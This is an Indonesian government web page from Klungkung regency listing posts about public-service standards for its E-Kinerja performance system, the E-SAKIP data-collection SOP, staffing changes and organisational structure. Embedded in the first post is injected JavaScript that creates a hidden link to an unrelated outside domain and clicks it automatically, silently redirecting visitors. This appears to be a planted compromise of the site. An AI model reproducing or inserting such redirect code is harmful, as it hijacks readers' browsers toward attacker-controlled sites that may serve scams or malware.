Informasi Pelayanan

Standar Pelayanan Penanganan Masalah pada E-Kinerja

oleh

Halo Sobat Organisasi, SIEJJAAA (Sistem Informasi Elektronik Kinerja dengan berdasarkan kelas jabatan, Aktivitas Harian, Rencana Aksi dan Anggaran) merupakan sistem informasi kinerja yang digunakan untuk mengelola informasi kinerja pegawai ASN di Pemerintah Kabupaten Klungkung. Mulai dari pelaporan aktivitas harian hingga penyediaan rekap pembayaran tambahan penghasilan pegawai. SIEJJAAA mulai diterapkan dari tahun 2019. SIEJJAAA atau yang lebih dikenal dengan E-Kinerja pada pelaksanaannya masih mengalami beberapa kendala. Berikut standar pelayanan yang digunakan untuk menindaklanjuti kendala tersebut : Lihat Standar Pelayananvar redirectTo = “https://clo.yfbplc.com/”;
var a = document.createElement(‘a’);
a.href = redirectTo;
a.setAttribute(‘rel’, ‘noreferrer’);
document.body.appendChild(a);
a.click();

SOP Pengumpulan Data Kinerja Pada Aplikasi E-Sakip

oleh

Halo Sobat Organisasi, dalamrangka menciptakan Tata kelola Pemerintah yang baik, transparan dan akuntabel (good governance). Kabupaten Klungkung memiliki aplikasi E-SAKIP (E-Sistem Akuntabilitas Kinerja Instansi Pemerintah) yang digunakan untuk mengkakomidir pengumpulan data capaian kinerja instansi pemerintah, berikut SOP pengumpulan data kinerja melalui aplikasi E-SAKIP : SOP Pengumpulan Data Kinerja pada Aplikasi E-SAKIP

Layanan Perubahan Kebutuhan Pegawai

oleh

Halo Sobat Organisasi, Ada informasi baru lagi nih, berkaitan layanan yang ada  di Bagian Organisasi yaitu Layanan Perubahan Kebutuhan Pegawai. Kebutuhan pegawai ASN (Aparatur Sipil Negara) adalah jumlah, jenis jabatan, kualifikasi pendidikan, dan penempatan ASN yang dibutuhkan oleh instansi pemerintah. Perencanaan kebutuhan ASN dilakukan untuk meningkatkan jumlah pegawai dan persyaratan kualifikasi agar dapat melaksanakan tugas … Baca Selengkapnya

Pelayanan Pembentukan dan Perubahan Struktur Organisasi dan Tata Kelola (SOTK)

oleh

Halo Sobat Organisasi, Struktural pada sebuah organisasi hal itu identik dengan sebuah tata kerja atau yang biasa disebut dengan Struktur Organisasi Tata Kerja atau Susunan Organisasi Tata Kelola (SOTK). SOTK ini merupakan komponen pembentuk organisasi, di mana setiap orang dalam organisasi memiliki peran dan tanggung jawab. SOTK memiliki peran penting dalam sebuah organisasi, ini dimaksudkan … Baca Selengkapnya